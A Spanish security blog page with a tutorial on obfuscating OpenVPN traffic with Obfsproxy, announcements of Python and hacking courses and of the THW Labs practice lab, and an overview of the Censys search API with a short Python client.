Para utilizar cualquier Pluggable Transport es importante instalar los componentes adecuados tanto en el cliente como en el destino (servidor). Dichos elementos se encargan de enmascarar y desenmascarar los paquetes de datos enviados y recibidos, de tal forma que desde el cliente se aplica el Pluggable Transport adecuado, el cual se encargará de aplicar las modificaciones correspondientes sobre los paquetes de datos y posteriormente se envían al destino. En el lado del cliente funciona como un proxy local, el cual intercepta las peticiones y las procesa antes de salir hacia el gateway de la red. En el lado del destino o servidor, funciona exactamente igual pero en sentido inverso, es decir, se reciben los paquetes de datos por parte de un listener o servicio que “desenmascarará” las peticiones y recompondrá el mensaje enviado originalmente por el cliente. Un mecanismo sencillo y muy robusto que es altamente resistente a la censura.
Una vez comprendido el funcionamiento de los Pluggable Transports y ver que realmente no es demasiado complejo, podemos intentar llevarlo a la practica utilizando alguna implementación de PT disponible, en este caso, se hará con una red VPN implementada con OpenVPN y la implementación de PT Obfsproxy, la cual ha sido desarrollada por el equipo de TorProject y funciona bastante bien.
Configuración en el lado del cliente.
En primer lugar, el cliente de la red VPN debe configurarse de tal forma que las conexiones no se lleven a cabo de forma directa contra el servidor OpenVPN, en su lugar, la conexión se realizará contra el proceso de Obfsproxy en el lado del servidor y éste a su vez, se encargará de reenviar los paquetes hacia el servidor OpenVPN correspondiente. Para hacer esto, basta simplemente con cambiar el parámetro “remote” en el fichero de configuración del cliente o directamente desde consola.
remote <IPSERVIDOR_OBFSPROXY> 21194
A continuación, se debe instalar Obfsproxy en el sistema del cliente y luego, levantar el proceso que se encargará de ofuscar el tráfico enviado desde la máquina del cliente. Dicho proceso, como se ha mencionado anteriormente, funcionará simplemente como un proxy local que se encargará de tratar los paquetes y enviarlos al servidor Obfsproxy indicado.
Para instalar obfsproxy sobre un sistema basado en Debian, basta simplemente con ejecutar el comando “apt-get install obfsproxy”, aunque también se puede instalar directamente con pip ejecutando el comando “pip install obfsproxy”.
Después de instalar, el siguiente comando permitirá iniciar el proceso en el lado del cliente en el puerto “10194”
obfsproxy –log-file=obfsproxy.log –log-min-severity=info obfs3 –shared-secret=<32 caracteres> socks 127.0.0.1:10194
Como se puede apreciar, se especifica un fichero de logs, nivel de log, el PT a utilizar con obfsproxy que en este caso será “obfs3” y finalmente, la opción “–shared-secret” corresponde a una cadena de texto que debe ser la misma en el cliente y servidor, además es recomendable que dicha cadena de texto tenga por lo menos 32 caracteres para generar una clave de 256bits. El parámetro “socks” le indica a obfsproxy que debe levantar un servidor proxy socks en el puerto 10194 en la máquina local, el cual deberá ser utilizado por el cliente de OpenVPN. Ahora bien, antes de continuar, se recomienda generar la clave compartida utilizando OpenSSL, tan sencillo como ejecutar el siguiente comando:
openssl rand -base64 32
Recordar que la salida del comando anterior debe ser incluida en el parámetro “–shared-secret” y además, se trata de un valor que debe ser igual en el proceso obfsproxy en el lado del cliente y en el lado del servidor.
El último paso para que la configuración de OpenVPN+Obfsproxy quede completada en el lado del cliente, consiste nuevamente en modificar el fichero de configuración del cliente openvpn e incluir las siguientes instrucciones “socks-proxy-retry” y “socks-proxy”. En el fichero de configuración estas instrucciones quedarían así:
socks-proxy-retry
socks-proxy 127.0.0.1 10194
El puerto “10194” evidentemente tiene corresponder con el valor indicado en obfsproxy cuando se ha iniciado el proceso cliente.
Configuración en el lado del servidor.
En el lado del servidor OpenVPN hay que seguir unos pasos muy similares a los que se han llevado a cabo en el lado del cliente, solamente que en este caso, es incluso más sencillo ya que en primer lugar, únicamente hay que editar el fichero de configuración “server.conf” y asegurarse de que el puerto indicado en el parámetro “port” coincide con con el que se va a utilizar posteriormente en el proceso servidor de Obfsproxy. En este caso, se asume que dicho puerto será el 1194 (valor por defecto en un servidor OpenVPN).
A continuación, se debe iniciar el proceso servidor de Obfsproxy utilizando el siguiente comando.
obfsproxy –log-file=obfsproxy.log –log-min-severity=info obfs3 –dest=127.0.0.1:1194 –shared-secret=<32 caracteres> server 0.0.0.0:21194
Como se puede apreciar, el comando ejecutado en el lado del servidor es muy similar al que se ha lanzado desde el lado del cliente, con la diferencia de que se ha indicado el interruptor “–dest” que permite apuntar al puerto donde se encuentra ejecutándose OpenVPN, lo cual a efectos prácticos, significa que todo el tráfico que obfsproxy consigue desenmascarar será reenviado al puerto especificado, es decir, al puerto en donde se encuentra ejecutándose el servidor OpenVPN. Por otro lado, tal como se ha indicado anteriormente, es necesario que el valor de “–shared-secret” sea el mismo tanto para el cliente como para el servidor. Se trata de la clave utilizada para descifrar los paquetes (cifrado end-to-end). Por último, se indica también que Obfsproxy se ejecutará en modo servidor en el puerto “21194” debido al valor “server” indicado por parámetro.
Ahora que todo está preparado, se debe arrancar el servidor Openvpn y si todo va bien, se puede arrancar el cliente Openvpn con el fichero de configuración correspondiente, esperar a que la conexión con el servidor se establezca correctamente y ver los logs. También resulta muy interesante capturar el tráfico tanto en cliente y servidor para ver qué es lo que hace obfsproxy y cómo altera los paquetes de datos.
Como has podido ver, ha sido fácil de configurar y los resultados son muy interesantes. Intenta probarlo en tus servidores y si estás interesado, aporta a la red de Tor levantando Bridges con OBFS 🙂
Un saludo y happy hack!
Adastra.
Junio, mes de cursos de Python en Securizame.
Llega junio con una propuesta formativa muy interesante por parte de Securizame, en donde tendré el placer y el honor de colaborar con la serie de cursos enfocados completamente a Python. Como podréis apreciar en la web de Securizame, se trata de una oferta formativa bastante completa en la que tendréis la posibilidad de conocer en profundidad las características más interesantes del lenguaje con el acompañamiento de profesionales de primer nivel, entre los que se encuentran Dani Garcia (Cr0hn), Maria José Montes, Julio Semper y un servidor. Podéis adquirir los módulos en formato individual o el curso completo, algo que recomiendo si de verdad queréis aprender a crear herramientas de todo tipo con Python. Algunos de los módulos son online, pero como podréis comprobar, algunos son presenciales incluyendo el que voy a impartir, aunque se está barajando la posibilidad de hacerlos también online para las personas que por cualquier motivo no podéis acercaros a las oficinas de Securizame en Madrid. Evidentemente, los cursos presenciales tienen la ventaja de que podéis hacer todas las preguntas que queráis y resolverlas “in-situ” y por si fuera poco, son cursos que se van a impartir los viernes en la tarde y los sábados, lo que facilita enormemente las cosas para aquellas personas que por trabajo u otras obligaciones no tienen la posibilidad de asistir entre semana. Las instalaciones se encuentran muy bien equipadas y con todo lo necesario para desarrollar cada uno de las clases que haremos los profesores, cuyos contenidos hemos diseñado con mucho cariño e ilusión, esperando que de verdad os sean útiles para vuestras vidas profesionales y/o académicas.
Creo que es una buena oportunidad para dominar el lenguaje y automatizar muchas de las labores que seguramente hacéis manualmente y que pueden suponer varias horas del día haciéndolas.
Finalmente, para animaros un poco y dependiendo del número de asistentes que decidáis apuntaros al curso completo, llevaré algunas copias de los dos libros de Python que he escrito para rifarlas entre vosotros, algo que os vendrá como anillo al dedo para apoyar vuestra formación en dicho lenguaje.
Espero veros por allí y si necesitáis más información al respecto, podéis rellenar el formulario que se encuentra disponible aquí o llamar directamente al teléfono que aparece en la página.
Un saludo y Happy Hack!
Adastra.
Nueva temporada en THW Academy: Más cursos y lanzamiento de THW Labs
THW Academy lleva cerca de un año en funcionamiento y los resultados han sido muy satisfactorios, he tenido la oportunidad de conocer gente que tiene un interés legitimo por aprender y que además, participan activamente. Este proyecto ha nacido como una plataforma de aprendizaje dedicada a las personas interesadas en el mundo de la seguridad informática y el hacking con un enfoque completamente práctico, con esto en mente, uno de los principales objetivos de la academia es el de impartir una formación que en la medida de lo posible fomente la investigación. Nunca me ha interesado crear cursos atiborrados de muchos conceptos teóricos con escasa aplicación práctica y creo que a día de hoy, estoy consiguiendo ese objetivo. No obstante, mucho antes de comenzar con THW Academy y desde la perspectiva de cualquier aprendiz (que es lo que soy y siempre seré) considero que no es suficiente con simplemente recibir cursos, por muy buenos que estos sean, ya que la mejor forma de aprender de verdad es pegarse con problemas y tratar de resolverlos. Por este motivo, he decidido dar un paso hacia adelante y ofrecer algo más, algo que todos pedís constantemente y que no es tan fácil de conseguir: Llevar a la práctica lo aprendido en entornos reales que supongan un reto autentico. Los conocimientos en hacking son esencialmente prácticos, pero aplicar esos conocimientos es complicado, ya que “no puedes”, o mejor, “no debes”, atacar cualquier sistema por las consecuencias legales que tus acciones te pueden acarrear. La mejor forma que tenemos actualmente de poner a prueba nuestras habilidades es por medio de máquinas virtuales con vulnerabilidades o participar en retos del tipo CTF, son cosas que están muy bien, pero es probable que se te queden cortas y que quieras ir un poco más allá. En este sentido, tienes a tu disposición el reto de Offensive Security con la certificación OSCP, un reto que siempre recomiendo por su alto nivel técnico y además de que tienes que “ensuciarte las manos”, ser muy autodidacta y esforzarte mucho para conseguir el objetivo de comprometer todos los sistemas del entorno. Hace algún tiempo os hablé de mi experiencia en el laboratorio de la OSCP y comentaba que es bastante completo para poner a prueba tus conocimientos, sin embargo tiene un “pequeño problema” y es que te puede llegar a constar 1.500 dolares o más, dependiendo del tiempo que contrates. Es un entorno que está muy bien, pero seguramente muchos de vosotros os lo pensaréis dos veces ya que su costo es alto.
Partiendo de esta situación, desde el año pasado me propuse crear un laboratorio de pruebas completo que vaya un poco más allá del típico CTF, un entorno en el que se simule una red corporativa y que suponga un verdadero reto para cualquier hacker o pentester y es así como el día de hoy os presento THW Labs.
(Pincha sobre la imagen)
Se trata de un laboratorio que actualmente cuenta con más de 30 sistemas que incluyen vulnerabilidades de todo tipo y con niveles de dificultad variables, es posible realizar cualquier tipo de prueba y ejecutar ataques contra segmentos de red internos utilizando técnicas de pivoting y port-forwarding, todo ello por medio de una conexión a la VPN de THW Labs. Se trata de un entorno muy similar al de la OSCP, solamente que ahora mismo cuenta con menos sistemas, pero os aseguro que irá creciendo y en poco tiempo estará a la altura del de la OSCP. El objetivo es que se convierta en un entorno tan extenso como el que existe en la OSCP pero con tres diferencias importantes:
- En primer lugar, las vulnerabilidades no son las mismas para cada sistema y cada objetivo tiene sus propias vías de explotación, algo que no tiene la OSCP, ya que fácilmente nos encontramos de 6 a 8 sistemas que se explotan del mismo modo, aplicando las mismas técnicas, los mismos exploits y siguiendo exactamente los mismos procedimientos. En el caso de THW Labs cada sistema es único.
- En THW Labs existen 3 niveles de dificultad (básico, intermedio y avanzado), de esta forma cada participante podrá decidir en qué sistemas centrarse y buscar formas de explotarlos dependiendo de sus habilidades y conocimientos.
- Como se ha mencionado antes, THW Labs es un entorno dinámico, lo que quiere decir que a lo largo del tiempo irá creciendo en objetivos y vulnerabilidades, algo que no ha ocurrido en mucho tiempo con el laboratorio de la OSCP, ya que te vas a encontrar con los mismos sistemas que se podían ver en la versión de PWB (Pentesting With Backtrack). Esto significa que muchas de las vulnerabilidades que han salido recientemente no se encuentran incluidas en el laboratorio de la OSCP, sin embargo, en el caso de THW Labs, se estima que en un promedio de cada 2 meses, habrán nuevos sistemas con vulnerabilidades o vías de explotación que han sido recientemente descubiertas o que en las que es necesario aplicar técnicas de explotación interesantes.
Dicho todo lo anterior, os recomiendo visitar la página web oficial de THW Labs.
Por otro lado, tal como dicta el título de ésta entrada, los cursos que actualmente se están ofreciendo en THW Academy llegan a su fin en el mes de diciembre y a partir de Enero del año que viene, comenzamos con la siguiente temporada de cursos, los cuales se listan a continuación:
Nivel básico:
THWB5 – INTRODUCCIÓN A LA ARQUITECTURA DE ORDENADORES
THWB6 – CONFIGURACIÓN Y USO DE METASPLOIT FRAMEWORK
Nivel Intermedio:
THWI4 – HACKING EN REDES Wi-Fi
THWI5 – PENTESTING CON METASPLOIT FRAMEWORK, NMAP Y SET.
THWI6 – POSTEXPLOTACIÓN SOBRE SISTEMAS GNU/LINUX.
Nivel Avanzado:
THWA4 – NETWORKING CON PYTHON: Scapy, Twisted, Tornado y AsyncIO
THWA5 – EXPLOITING EN SISTEMAS WINDOWS Y GNU/LINUX
Próximamente tendréis disponibles los contenidos de cada uno de estos cursos, además, os recuerdo que podéis registraros a THW Academy en cualquier momento y acceder a todos los contenidos que se han publicado anteriormente y los que se publican mes a mes.
De momento esto es todo, sin embargo si tenéis cualquier duda, comentario o cualquier otro asunto, puedes escribir un correo a adastra@thehackerway.com y se te responderá tan rápido como sea posible.
Un saludo y Happy Hack!
Adastra.
Censys: Motor de búsqueda sobre dispositivos y servidores en Internet
Shodan es probablemente uno de los motores de búsqueda más utilizados por hackers (y curiosos) que quieren encontrar dispositivos y servidores en Internet que ejecutan servicios con características muy concretas, no en vano se le conoce como “el google de los hackers”. Es una herramienta muy valiosa que también permite acceder a sus funcionalidades de forma programática desde lenguajes de programación tales como Python, Perl o Ruby. En varias ocasiones se han mencionado sus virtudes en este blog y seguramente para muchos de vosotros nada de lo dicho anteriormente es algo nuevo, sin embargo cuando se menciona a “Censys”, actualmente son “pocas” las personas que conocen sus bondades. Del mismo modo que ocurre con Shodan, con Censys es posible realizar búsquedas muy concretas sobre dispositivos, servidores y redes que se encuentran en Internet, siendo un servicio muy similar y directa “competencia” de Shodan. El funcionamiento de Censys se basa en el uso de una herramienta que también es relativamente reciente y de la que ya se ha hablado anteriormente en este sitio, se trata de Zmap un escaner que permite ejecutar un escaneo completo contra el rango de direcciones IPv4 y que con los recursos de computo adecuados, permite el escaneo entero de Internet en un tiempo bastante razonable. Se trata sin lugar a dudas de una herramienta que merece la pena estudiar y comprender. Censys se encarga de ejecutar escaneos con Zmap diariamente y recolecta información sobre los servicios que se encuentran disponibles en las direcciones IP analizadas, que como se ha dicho anteriormente, comprenden el rango de direcciones IPv4 entero. El creador de Censys es el mismo de Zmap (Zakir Durumeric) y desde el primer paper público sobre el uso de Censys, en octubre de 2015, tanto él como John Matherly (Shodan) han defendido a capa y espada sus respectivos sistemas como es natural, exponiendo las virtudes del uno sobre el otro. Después de estudiar ambos, personalmente no me decanto por uno solo, todo lo contrario, prefiero utilizar ambos para obtener más información y poder comparar/complementar resultados. Del mismo modo que ocurre con Shodan, es posible utilizar una API basada en servicios Rest que pueden ser consultados fácilmente si se tiene una “Developer Key”, la cual se puede conseguir simplemente creando una cuenta gratuita en el servicio. Todos los días es posible acceder a un snapshot de los datos recolectados por el servicio, indicando la información disponible sobre direcciones, puertos, sitios web, certificados, etc. Por otro lado, la API está compuesta por los siguientes endpoints.
| search | Permite ejecutar búsquedas contra los índices más recientes que ha recolectado el sistema. |
| view | Permite recuperar información sobre un host concreto, sitio web o certificado. |
| report | Permite generar un reporte agrupado sobre un campo concreto en el conjunto de resultados. |
| query | Permite la ejecución de una consulta SQL contra la información actual e histórica que se ha ido registrando en el sistema y únicamente está disponible a investigadores verificados. |
| export | Permite la exportación de un conjunto de registros en formato JSON |
| data | Expone metadatos sobre la información en formato “crudo” que es recolectada diariamente por el sistema. |
Como se puede apreciar, son muy pocos endpoints y no es una API tan completa como la que implementa Shodan, pero sigue siendo muy interesante por la información que aporta. En este punto es posible interactuar con Censys por medio de dichos endpoints de forma programática, para ello es necesario crear una cuenta en Censys y obtener los campos API ID y Secret, tal como se puede apreciar en la siguiente imagen.
A la fecha de redactar este documento no hay ningún tipo de cliente oficial para Censys, pero dado que se trata de un servicio que se expone por medio de una API Rest, es posible utilizar cualquiera de las librerías disponibles en lenguajes de programación como Python, Ruby, C o Java, para consumir dichos servicios Rest sin mayores dificultades. En este caso concreto y tal como se ha visto en varias ocasiones en este blog, se utilizará Python para crear un cliente básico que consuma algunos de los servicios disponibles en Censys.
import sys
import json
import requests
API_URL = "https://www.censys.io/api/v1"
UID = "xxxxx"
SECRET = "zzzzz"
res = requests.get(API_URL + "/data", auth=(UID,
SECRET))
if res.status_code != 200:
print "error occurred: %s" % res.json()["error"]
sys.exit(1)
for name, series in res.json()["raw_series"].iteritems():
print series["name"], "was last updated at",
series["latest_result"]["timestamp"]
params = json={"query": "Apache",
"page":1}
res = requests.post(API_URL + "/search/certificates",
auth=(UID, SECRET), json=json)
print res.json()["results"][0].keys()
print res.json()["results"][0].values()
|
Hay que tener en cuenta que de acuerdo a la documentación la API Rest de Censys, es necesario invocar a cada uno de los endpoints con un método HTTP concreto, una serie de parámetros obligatorios y que además, muchas de las peticiones reciben datos en formato JSON, con lo cual es necesario realizar las peticiones HTTP siguiendo estás especificaciones. El script anterior es simplemente un ejemplo sobre el uso de los endpoints “/data” y “/search/certificates”. Tal como se puede apreciar, es bastante sencillo crear un cliente y obtener información de Censys utilizando su API Rest.
De todos modos, desde mi punto de vista hay dos características que hacen que Shodan sea una buena opción con respecto a Censys, considerando nuevamente que a mi juicio es recomendable utilizar ambas.
1. La API de Shodan parece estar mejor documentada y ser más completa, además de que hay clientes en diferentes lenguajes, lo que facilita su integración en cualquier herramienta, esto a la fecha de redactar este documento, no se consigue con Censys.
2- Shodan cuenta con varios filtros que permiten afinar las búsquedas y a la fecha de redactar este articulo, son mucho más completos que los que se encuentran disponibles en la interfaz de búsqueda de Censys.
En contrapartida, Censys permite el acceso a la información histórica que se ha ido recolectado y no pone limitaciones sobre los tipos de servicios que se pueden consultar, algo que si hace Shodan.
Se trata simplemente de un servicio que podéis utilizar de forma complementaria a Shodan para la recolección de información, se perfila como una excelente herramienta para ejecutar procesos OSINT y análisis de datos.
Un saludo y Happy Hack!
Adastra.
Servicios en TheHackerWay
Descubre los productos y servicios enfocados a la seguridad informática que ofrecemos en TheHackerWay
Deep web: Privacidad y anonimato.
Compra el libro de "Deep Web: TOR, FreeNET & I2P - Privacidad y Anonimato"
Hacking con Python
Compra el libro de "Hacking con Python".
Python para Pentesters
Compra el libro de "Python para Pentesters".
Número de Visitas:
Sobre Adastra:
Soy un entusiasta de la tecnología y la seguridad informática, me siento atraído principalmente por la cultura y los fundamentos del Gray Hat Hacking.
Soy una persona afortunada de poder dedicar mi tiempo y energía en hacer lo que me apasiona, aprendiendo y compartiendo lo aprendido. Con bastante frecuencia iré publicando entradas relacionadas con estudios y técnicas que he ido asimilando a lo largo de mis investigaciones, todas enfocadas a las diferentes facetas de la informática con un énfasis especial en la seguridad.
Saludos y Happy Hack!
adastra
